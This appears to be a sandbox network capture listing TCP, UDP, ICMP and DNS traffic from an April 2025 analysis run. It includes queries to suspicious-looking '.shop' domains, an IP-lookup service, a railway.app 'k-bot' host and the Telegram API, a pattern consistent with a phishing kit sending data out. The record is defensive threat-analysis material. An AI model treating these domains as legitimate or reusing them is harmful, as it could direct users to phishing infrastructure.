Apr 15, 2025 20:07:12.828533888 CEST	49758	443	192.168.2.10	66.33.22.4
Apr 15, 2025 20:07:12.828587055 CEST	443	49758	66.33.22.4	192.168.2.10
Apr 15, 2025 20:07:12.828658104 CEST	49758	443	192.168.2.10	66.33.22.4
Apr 15, 2025 20:07:12.829442978 CEST	49758	443	192.168.2.10	66.33.22.4
Apr 15, 2025 20:07:12.829453945 CEST	443	49758	66.33.22.4	192.168.2.10
Apr 15, 2025 20:07:13.097568035 CEST	443	49758	66.33.22.4	192.168.2.10
Apr 15, 2025 20:07:13.097997904 CEST	49758	443	192.168.2.10	66.33.22.4
Apr 15, 2025 20:07:13.098042011 CEST	443	49758	66.33.22.4	192.168.2.10
Apr 15, 2025 20:07:13.098169088 CEST	49758	443	192.168.2.10	66.33.22.4
Apr 15, 2025 20:07:13.098175049 CEST	443	49758	66.33.22.4	192.168.2.10
Apr 15, 2025 20:07:13.722774029 CEST	443	49758	66.33.22.4	192.168.2.10
Apr 15, 2025 20:07:13.722948074 CEST	443	49758	66.33.22.4	192.168.2.10
Apr 15, 2025 20:07:13.723006010 CEST	49758	443	192.168.2.10	66.33.22.4
Apr 15, 2025 20:07:13.723520041 CEST	49758	443	192.168.2.10	66.33.22.4
Apr 15, 2025 20:07:13.723539114 CEST	443	49758	66.33.22.4	192.168.2.10
Apr 15, 2025 20:07:13.851779938 CEST	49759	443	192.168.2.10	66.33.22.3
Apr 15, 2025 20:07:13.851833105 CEST	443	49759	66.33.22.3	192.168.2.10
Apr 15, 2025 20:07:13.851927996 CEST	49759	443	192.168.2.10	66.33.22.3
Apr 15, 2025 20:07:13.852091074 CEST	49759	443	192.168.2.10	66.33.22.3
Apr 15, 2025 20:07:13.852108955 CEST	443	49759	66.33.22.3	192.168.2.10
Apr 15, 2025 20:07:13.861350060 CEST	49760	443	192.168.2.10	149.154.167.220
Apr 15, 2025 20:07:13.861396074 CEST	443	49760	149.154.167.220	192.168.2.10
Apr 15, 2025 20:07:13.861488104 CEST	49760	443	192.168.2.10	149.154.167.220
Apr 15, 2025 20:07:13.861780882 CEST	49760	443	192.168.2.10	149.154.167.220
Apr 15, 2025 20:07:13.861799955 CEST	443	49760	149.154.167.220	192.168.2.10
Apr 15, 2025 20:07:14.114239931 CEST	443	49759	66.33.22.3	192.168.2.10
Apr 15, 2025 20:07:14.114382982 CEST	49759	443	192.168.2.10	66.33.22.3
Apr 15, 2025 20:07:14.114929914 CEST	49759	443	192.168.2.10	66.33.22.3
Apr 15, 2025 20:07:14.114940882 CEST	443	49759	66.33.22.3	192.168.2.10
Apr 15, 2025 20:07:14.115187883 CEST	443	49759	66.33.22.3	192.168.2.10
Apr 15, 2025 20:07:14.115446091 CEST	49759	443	192.168.2.10	66.33.22.3
Apr 15, 2025 20:07:14.160275936 CEST	443	49759	66.33.22.3	192.168.2.10
Apr 15, 2025 20:07:14.297471046 CEST	443	49760	149.154.167.220	192.168.2.10
Apr 15, 2025 20:07:14.297800064 CEST	49760	443	192.168.2.10	149.154.167.220
Apr 15, 2025 20:07:14.336464882 CEST	49760	443	192.168.2.10	149.154.167.220
Apr 15, 2025 20:07:14.336488962 CEST	443	49760	149.154.167.220	192.168.2.10
Apr 15, 2025 20:07:14.336874008 CEST	443	49760	149.154.167.220	192.168.2.10
Apr 15, 2025 20:07:14.352247000 CEST	49760	443	192.168.2.10	149.154.167.220
Apr 15, 2025 20:07:14.396281958 CEST	443	49760	149.154.167.220	192.168.2.10
Apr 15, 2025 20:07:14.536109924 CEST	443	49759	66.33.22.3	192.168.2.10
Apr 15, 2025 20:07:14.536273956 CEST	443	49759	66.33.22.3	192.168.2.10
Apr 15, 2025 20:07:14.536334038 CEST	49759	443	192.168.2.10	66.33.22.3
Apr 15, 2025 20:07:14.537044048 CEST	49759	443	192.168.2.10	66.33.22.3
Apr 15, 2025 20:07:14.537061930 CEST	443	49759	66.33.22.3	192.168.2.10
Apr 15, 2025 20:07:14.717989922 CEST	443	49760	149.154.167.220	192.168.2.10
Apr 15, 2025 20:07:14.718063116 CEST	443	49760	149.154.167.220	192.168.2.10
Apr 15, 2025 20:07:14.718444109 CEST	49760	443	192.168.2.10	149.154.167.220
Apr 15, 2025 20:07:14.718918085 CEST	49760	443	192.168.2.10	149.154.167.220
Apr 15, 2025 20:07:14.718936920 CEST	443	49760	149.154.167.220	192.168.2.10
Apr 15, 2025 20:07:14.720273018 CEST	49761	443	192.168.2.10	149.154.167.220
Apr 15, 2025 20:07:14.720318079 CEST	443	49761	149.154.167.220	192.168.2.10
Apr 15, 2025 20:07:14.720376968 CEST	49761	443	192.168.2.10	149.154.167.220
Apr 15, 2025 20:07:14.720675945 CEST	49761	443	192.168.2.10	149.154.167.220
Apr 15, 2025 20:07:14.720691919 CEST	443	49761	149.154.167.220	192.168.2.10
Apr 15, 2025 20:07:14.953830957 CEST	49718	80	192.168.2.10	216.24.57.1
Apr 15, 2025 20:07:15.059786081 CEST	80	49718	216.24.57.1	192.168.2.10
Apr 15, 2025 20:07:15.150492907 CEST	443	49761	149.154.167.220	192.168.2.10
Apr 15, 2025 20:07:15.150785923 CEST	49761	443	192.168.2.10	149.154.167.220
Apr 15, 2025 20:07:15.150821924 CEST	443	49761	149.154.167.220	192.168.2.10
Apr 15, 2025 20:07:15.151063919 CEST	49761	443	192.168.2.10	149.154.167.220
Apr 15, 2025 20:07:15.151072979 CEST	443	49761	149.154.167.220	192.168.2.10
Apr 15, 2025 20:07:15.644395113 CEST	443	49761	149.154.167.220	192.168.2.10
Apr 15, 2025 20:07:15.644505978 CEST	443	49761	149.154.167.220	192.168.2.10
Apr 15, 2025 20:07:15.644591093 CEST	49761	443	192.168.2.10	149.154.167.220
Apr 15, 2025 20:07:15.645569086 CEST	49761	443	192.168.2.10	149.154.167.220
Apr 15, 2025 20:07:15.645596027 CEST	443	49761	149.154.167.220	192.168.2.10
Apr 15, 2025 20:07:16.439213991 CEST	49763	443	192.168.2.10	173.194.219.99
Apr 15, 2025 20:07:16.439260960 CEST	443	49763	173.194.219.99	192.168.2.10
Apr 15, 2025 20:07:16.439333916 CEST	49763	443	192.168.2.10	173.194.219.99
Apr 15, 2025 20:07:16.439578056 CEST	49763	443	192.168.2.10	173.194.219.99
Apr 15, 2025 20:07:16.439589977 CEST	443	49763	173.194.219.99	192.168.2.10
Apr 15, 2025 20:07:16.658548117 CEST	443	49763	173.194.219.99	192.168.2.10
Apr 15, 2025 20:07:16.659029007 CEST	49763	443	192.168.2.10	173.194.219.99
Apr 15, 2025 20:07:16.659044981 CEST	443	49763	173.194.219.99	192.168.2.10
Apr 15, 2025 20:07:18.135930061 CEST	443	49696	5.161.110.119	192.168.2.10
Apr 15, 2025 20:07:18.136023045 CEST	443	49696	5.161.110.119	192.168.2.10
Apr 15, 2025 20:07:18.136081934 CEST	49696	443	192.168.2.10	5.161.110.119
Apr 15, 2025 20:07:18.493962049 CEST	49696	443	192.168.2.10	5.161.110.119
Apr 15, 2025 20:07:18.493993998 CEST	443	49696	5.161.110.119	192.168.2.10
Apr 15, 2025 20:07:23.503129959 CEST	49766	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:07:23.503168106 CEST	443	49766	35.190.80.1	192.168.2.10
Apr 15, 2025 20:07:23.503237963 CEST	49766	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:07:23.503397942 CEST	49766	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:07:23.503412962 CEST	443	49766	35.190.80.1	192.168.2.10
Apr 15, 2025 20:07:23.721946955 CEST	443	49766	35.190.80.1	192.168.2.10
Apr 15, 2025 20:07:23.722088099 CEST	49766	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:07:23.722800016 CEST	49766	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:07:23.722809076 CEST	443	49766	35.190.80.1	192.168.2.10
Apr 15, 2025 20:07:23.723061085 CEST	443	49766	35.190.80.1	192.168.2.10
Apr 15, 2025 20:07:23.723341942 CEST	49766	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:07:23.768277884 CEST	443	49766	35.190.80.1	192.168.2.10
Apr 15, 2025 20:07:23.961878061 CEST	443	49766	35.190.80.1	192.168.2.10
Apr 15, 2025 20:07:23.961958885 CEST	443	49766	35.190.80.1	192.168.2.10
Apr 15, 2025 20:07:23.962063074 CEST	49766	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:07:23.963713884 CEST	49766	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:07:23.963732004 CEST	443	49766	35.190.80.1	192.168.2.10
Apr 15, 2025 20:07:23.964778900 CEST	49767	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:07:23.964819908 CEST	443	49767	35.190.80.1	192.168.2.10
Apr 15, 2025 20:07:23.964895010 CEST	49767	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:07:23.965055943 CEST	49767	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:07:23.965069056 CEST	443	49767	35.190.80.1	192.168.2.10
Apr 15, 2025 20:07:24.182487965 CEST	443	49767	35.190.80.1	192.168.2.10
Apr 15, 2025 20:07:24.182879925 CEST	49767	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:07:24.182908058 CEST	443	49767	35.190.80.1	192.168.2.10
Apr 15, 2025 20:07:24.183079004 CEST	49767	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:07:24.183084965 CEST	443	49767	35.190.80.1	192.168.2.10
Apr 15, 2025 20:07:24.427232027 CEST	443	49767	35.190.80.1	192.168.2.10
Apr 15, 2025 20:07:24.427305937 CEST	443	49767	35.190.80.1	192.168.2.10
Apr 15, 2025 20:07:24.427391052 CEST	49767	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:07:24.427735090 CEST	49767	443	192.168.2.10	35.190.80.1
Apr 15, 2025 20:07:24.427752972 CEST	443	49767	35.190.80.1	192.168.2.10
Apr 15, 2025 20:07:26.664154053 CEST	443	49763	173.194.219.99	192.168.2.10
Apr 15, 2025 20:07:26.664223909 CEST	443	49763	173.194.219.99	192.168.2.10
Apr 15, 2025 20:07:26.664279938 CEST	49763	443	192.168.2.10	173.194.219.99
Apr 15, 2025 20:07:27.483870029 CEST	49763	443	192.168.2.10	173.194.219.99
Apr 15, 2025 20:07:27.483894110 CEST	443	49763	173.194.219.99	192.168.2.10
Apr 15, 2025 20:07:29.995994091 CEST	49724	80	192.168.2.10	108.177.122.94
Apr 15, 2025 20:07:30.102147102 CEST	80	49724	108.177.122.94	192.168.2.10
Apr 15, 2025 20:07:30.102195024 CEST	49724	80	192.168.2.10	108.177.122.94

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 15, 2025 20:06:12.140070915 CEST	53	60000	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:12.176505089 CEST	53	53417	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:13.116039038 CEST	53	61930	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:13.290091991 CEST	53	58701	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:16.376794100 CEST	59311	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:16.377254963 CEST	53107	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:16.483367920 CEST	53	59311	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:16.483437061 CEST	53	53107	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:17.687357903 CEST	61512	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:17.687525988 CEST	65208	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:17.823282957 CEST	53	61512	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:17.843823910 CEST	53	65208	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:18.344572067 CEST	62801	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:18.344734907 CEST	51294	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:18.485579014 CEST	53	51294	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:18.485610008 CEST	53	62801	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:23.387650967 CEST	59323	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:23.387872934 CEST	55224	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:23.494834900 CEST	53	59323	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:23.496661901 CEST	53	55224	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:23.938498020 CEST	62572	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:23.938719034 CEST	55646	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:24.051008940 CEST	53	62572	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:24.085623026 CEST	53	55646	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:25.047454119 CEST	57734	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:25.052690029 CEST	54173	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:25.236341000 CEST	53	57734	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:25.245210886 CEST	53	54173	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:26.721992016 CEST	53711	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:26.722377062 CEST	58560	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:26.742854118 CEST	58962	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:26.743179083 CEST	53943	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:26.810978889 CEST	51334	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:26.811197042 CEST	60149	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:26.851429939 CEST	53	53943	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:26.864645958 CEST	53	58560	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:26.934226036 CEST	53	58962	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:26.952574968 CEST	53	51334	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:26.998119116 CEST	53	53711	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:27.090760946 CEST	53	60149	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:27.837481022 CEST	55039	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:27.837798119 CEST	62206	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:27.990242958 CEST	53	55039	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:27.990536928 CEST	53	62206	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:28.709147930 CEST	52100	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:28.709302902 CEST	62981	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:29.041399002 CEST	53	62981	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:29.081038952 CEST	53	52100	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:30.495424986 CEST	53	60647	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:33.592192888 CEST	52554	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:33.592360973 CEST	51821	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:33.660201073 CEST	53	63494	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:33.736458063 CEST	53	52554	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:33.836011887 CEST	53	51821	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:48.370557070 CEST	58946	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:48.370758057 CEST	60074	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:48.371354103 CEST	61563	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:48.371649981 CEST	59388	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:48.478041887 CEST	53	59388	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:48.478913069 CEST	53	60074	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:48.478987932 CEST	53	61563	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:48.482063055 CEST	53	58946	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:48.977935076 CEST	60006	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:48.978240013 CEST	56735	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:06:49.084919930 CEST	53	56735	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:49.086174011 CEST	53	60006	1.1.1.1	192.168.2.10
Apr 15, 2025 20:06:49.186239004 CEST	53	60458	1.1.1.1	192.168.2.10
Apr 15, 2025 20:07:11.233272076 CEST	54343	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:07:11.233555079 CEST	58199	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:07:11.340540886 CEST	53	58199	1.1.1.1	192.168.2.10
Apr 15, 2025 20:07:11.341013908 CEST	53	54343	1.1.1.1	192.168.2.10
Apr 15, 2025 20:07:11.914916039 CEST	53	51318	1.1.1.1	192.168.2.10
Apr 15, 2025 20:07:12.036066055 CEST	57825	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:07:12.036223888 CEST	50379	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:07:12.037002087 CEST	64796	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:07:12.037133932 CEST	63324	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:07:12.144192934 CEST	53	64796	1.1.1.1	192.168.2.10
Apr 15, 2025 20:07:12.146389008 CEST	53	63324	1.1.1.1	192.168.2.10
Apr 15, 2025 20:07:12.150023937 CEST	53	50379	1.1.1.1	192.168.2.10
Apr 15, 2025 20:07:12.150876999 CEST	53	57825	1.1.1.1	192.168.2.10
Apr 15, 2025 20:07:12.157603979 CEST	53	61092	1.1.1.1	192.168.2.10
Apr 15, 2025 20:07:13.726440907 CEST	55353	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:07:13.726702929 CEST	63403	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:07:13.727515936 CEST	52329	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:07:13.727709055 CEST	61344	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:07:13.833596945 CEST	53	55353	1.1.1.1	192.168.2.10
Apr 15, 2025 20:07:13.850646973 CEST	53	61344	1.1.1.1	192.168.2.10
Apr 15, 2025 20:07:13.851098061 CEST	53	52329	1.1.1.1	192.168.2.10
Apr 15, 2025 20:07:13.873121023 CEST	53	63403	1.1.1.1	192.168.2.10
Apr 15, 2025 20:07:14.920898914 CEST	53	64223	1.1.1.1	192.168.2.10
Apr 15, 2025 20:07:23.395051003 CEST	64025	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:07:23.395226002 CEST	58612	53	192.168.2.10	1.1.1.1
Apr 15, 2025 20:07:23.501966000 CEST	53	58612	1.1.1.1	192.168.2.10
Apr 15, 2025 20:07:23.502515078 CEST	53	64025	1.1.1.1	192.168.2.10
Apr 15, 2025 20:07:30.509933949 CEST	138	138	192.168.2.10	192.168.2.255

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 15, 2025 20:06:24.085726023 CEST	192.168.2.10	1.1.1.1	c2e9	(Port unreachable)	Destination Unreachable
Apr 15, 2025 20:06:27.090862989 CEST	192.168.2.10	1.1.1.1	c22b	(Port unreachable)	Destination Unreachable
Apr 15, 2025 20:06:33.836096048 CEST	192.168.2.10	1.1.1.1	c22a	(Port unreachable)	Destination Unreachable
Apr 15, 2025 20:07:13.873229027 CEST	192.168.2.10	1.1.1.1	c23b	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 15, 2025 20:06:16.376794100 CEST	192.168.2.10	1.1.1.1	0x3199	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:16.377254963 CEST	192.168.2.10	1.1.1.1	0xed5c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 15, 2025 20:06:17.687357903 CEST	192.168.2.10	1.1.1.1	0x8f29	Standard query (0)	ralph.owa-netbros.shop	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:17.687525988 CEST	192.168.2.10	1.1.1.1	0x7baa	Standard query (0)	ralph.owa-netbros.shop	65	IN (0x0001)	false
Apr 15, 2025 20:06:18.344572067 CEST	192.168.2.10	1.1.1.1	0x2e8e	Standard query (0)	nero.kempo-karic.shop	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:18.344734907 CEST	192.168.2.10	1.1.1.1	0x99c	Standard query (0)	nero.kempo-karic.shop	65	IN (0x0001)	false
Apr 15, 2025 20:06:23.387650967 CEST	192.168.2.10	1.1.1.1	0xf4f2	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:23.387872934 CEST	192.168.2.10	1.1.1.1	0x7c68	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 15, 2025 20:06:23.938498020 CEST	192.168.2.10	1.1.1.1	0x721b	Standard query (0)	nero.kempo-karic.shop	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:23.938719034 CEST	192.168.2.10	1.1.1.1	0xe382	Standard query (0)	nero.kempo-karic.shop	65	IN (0x0001)	false
Apr 15, 2025 20:06:25.047454119 CEST	192.168.2.10	1.1.1.1	0xa1a0	Standard query (0)	patnero.thesilent.de	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:25.052690029 CEST	192.168.2.10	1.1.1.1	0xc768	Standard query (0)	patnero.thesilent.de	65	IN (0x0001)	false
Apr 15, 2025 20:06:26.721992016 CEST	192.168.2.10	1.1.1.1	0x2a35	Standard query (0)	patnero.thesilent.de	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:26.722377062 CEST	192.168.2.10	1.1.1.1	0xbdd2	Standard query (0)	patnero.thesilent.de	65	IN (0x0001)	false
Apr 15, 2025 20:06:26.742854118 CEST	192.168.2.10	1.1.1.1	0x4b28	Standard query (0)	patnero.thesilent.de	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:26.743179083 CEST	192.168.2.10	1.1.1.1	0x6dc	Standard query (0)	patnero.thesilent.de	65	IN (0x0001)	false
Apr 15, 2025 20:06:26.810978889 CEST	192.168.2.10	1.1.1.1	0xf691	Standard query (0)	patnero.thesilent.de	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:26.811197042 CEST	192.168.2.10	1.1.1.1	0xfdca	Standard query (0)	patnero.thesilent.de	65	IN (0x0001)	false
Apr 15, 2025 20:06:27.837481022 CEST	192.168.2.10	1.1.1.1	0xc3cf	Standard query (0)	classntfst.shop	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:27.837798119 CEST	192.168.2.10	1.1.1.1	0x959c	Standard query (0)	classntfst.shop	65	IN (0x0001)	false
Apr 15, 2025 20:06:28.709147930 CEST	192.168.2.10	1.1.1.1	0x9ab5	Standard query (0)	oka.greenthreads.hr	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:28.709302902 CEST	192.168.2.10	1.1.1.1	0x7fde	Standard query (0)	oka.greenthreads.hr	65	IN (0x0001)	false
Apr 15, 2025 20:06:33.592192888 CEST	192.168.2.10	1.1.1.1	0x898c	Standard query (0)	oka.greenthreads.hr	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:33.592360973 CEST	192.168.2.10	1.1.1.1	0x36d9	Standard query (0)	oka.greenthreads.hr	65	IN (0x0001)	false
Apr 15, 2025 20:06:48.370557070 CEST	192.168.2.10	1.1.1.1	0xc1fc	Standard query (0)	logo.clearbit.com	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:48.370758057 CEST	192.168.2.10	1.1.1.1	0x94e3	Standard query (0)	logo.clearbit.com	65	IN (0x0001)	false
Apr 15, 2025 20:06:48.371354103 CEST	192.168.2.10	1.1.1.1	0xbb77	Standard query (0)	www.gravatar.com	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:48.371649981 CEST	192.168.2.10	1.1.1.1	0x775c	Standard query (0)	www.gravatar.com	65	IN (0x0001)	false
Apr 15, 2025 20:06:48.977935076 CEST	192.168.2.10	1.1.1.1	0x37cc	Standard query (0)	www.gravatar.com	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:48.978240013 CEST	192.168.2.10	1.1.1.1	0x86c3	Standard query (0)	www.gravatar.com	65	IN (0x0001)	false
Apr 15, 2025 20:07:11.233272076 CEST	192.168.2.10	1.1.1.1	0x12d2	Standard query (0)	api64.ipify.org	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:07:11.233555079 CEST	192.168.2.10	1.1.1.1	0xb558	Standard query (0)	api64.ipify.org	65	IN (0x0001)	false
Apr 15, 2025 20:07:12.036066055 CEST	192.168.2.10	1.1.1.1	0x6ad	Standard query (0)	k-bot-production.up.railway.app	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:07:12.036223888 CEST	192.168.2.10	1.1.1.1	0xa70e	Standard query (0)	k-bot-production.up.railway.app	65	IN (0x0001)	false
Apr 15, 2025 20:07:12.037002087 CEST	192.168.2.10	1.1.1.1	0x5700	Standard query (0)	api64.ipify.org	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:07:12.037133932 CEST	192.168.2.10	1.1.1.1	0xd8e5	Standard query (0)	api64.ipify.org	65	IN (0x0001)	false
Apr 15, 2025 20:07:13.726440907 CEST	192.168.2.10	1.1.1.1	0x2383	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:07:13.726702929 CEST	192.168.2.10	1.1.1.1	0xf640	Standard query (0)	api.telegram.org	65	IN (0x0001)	false
Apr 15, 2025 20:07:13.727515936 CEST	192.168.2.10	1.1.1.1	0xae9	Standard query (0)	k-bot-production.up.railway.app	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:07:13.727709055 CEST	192.168.2.10	1.1.1.1	0xc87c	Standard query (0)	k-bot-production.up.railway.app	65	IN (0x0001)	false
Apr 15, 2025 20:07:23.395051003 CEST	192.168.2.10	1.1.1.1	0x5662	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:07:23.395226002 CEST	192.168.2.10	1.1.1.1	0x25a9	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 15, 2025 20:06:16.483367920 CEST	1.1.1.1	192.168.2.10	0x3199	No error (0)	www.google.com		173.194.219.99	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:16.483367920 CEST	1.1.1.1	192.168.2.10	0x3199	No error (0)	www.google.com		173.194.219.104	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:16.483367920 CEST	1.1.1.1	192.168.2.10	0x3199	No error (0)	www.google.com		173.194.219.106	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:16.483367920 CEST	1.1.1.1	192.168.2.10	0x3199	No error (0)	www.google.com		173.194.219.105	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:16.483367920 CEST	1.1.1.1	192.168.2.10	0x3199	No error (0)	www.google.com		173.194.219.103	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:16.483367920 CEST	1.1.1.1	192.168.2.10	0x3199	No error (0)	www.google.com		173.194.219.147	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:16.483437061 CEST	1.1.1.1	192.168.2.10	0xed5c	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 15, 2025 20:06:17.823282957 CEST	1.1.1.1	192.168.2.10	0x8f29	No error (0)	ralph.owa-netbros.shop	abfb4.ttrk.io		CNAME (Canonical name)	IN (0x0001)	false
Apr 15, 2025 20:06:17.823282957 CEST	1.1.1.1	192.168.2.10	0x8f29	No error (0)	abfb4.ttrk.io	wdc.ttrk.io		CNAME (Canonical name)	IN (0x0001)	false
Apr 15, 2025 20:06:17.823282957 CEST	1.1.1.1	192.168.2.10	0x8f29	No error (0)	wdc.ttrk.io		5.161.110.119	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:17.843823910 CEST	1.1.1.1	192.168.2.10	0x7baa	No error (0)	ralph.owa-netbros.shop	abfb4.ttrk.io		CNAME (Canonical name)	IN (0x0001)	false
Apr 15, 2025 20:06:17.843823910 CEST	1.1.1.1	192.168.2.10	0x7baa	No error (0)	abfb4.ttrk.io	wdc.ttrk.io		CNAME (Canonical name)	IN (0x0001)	false
Apr 15, 2025 20:06:18.485579014 CEST	1.1.1.1	192.168.2.10	0x99c	No error (0)	nero.kempo-karic.shop			65	IN (0x0001)	false
Apr 15, 2025 20:06:18.485610008 CEST	1.1.1.1	192.168.2.10	0x2e8e	No error (0)	nero.kempo-karic.shop		104.21.16.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:18.485610008 CEST	1.1.1.1	192.168.2.10	0x2e8e	No error (0)	nero.kempo-karic.shop		104.21.32.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:18.485610008 CEST	1.1.1.1	192.168.2.10	0x2e8e	No error (0)	nero.kempo-karic.shop		104.21.112.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:18.485610008 CEST	1.1.1.1	192.168.2.10	0x2e8e	No error (0)	nero.kempo-karic.shop		104.21.96.1	A (IP address)	IN (0x0001)	false
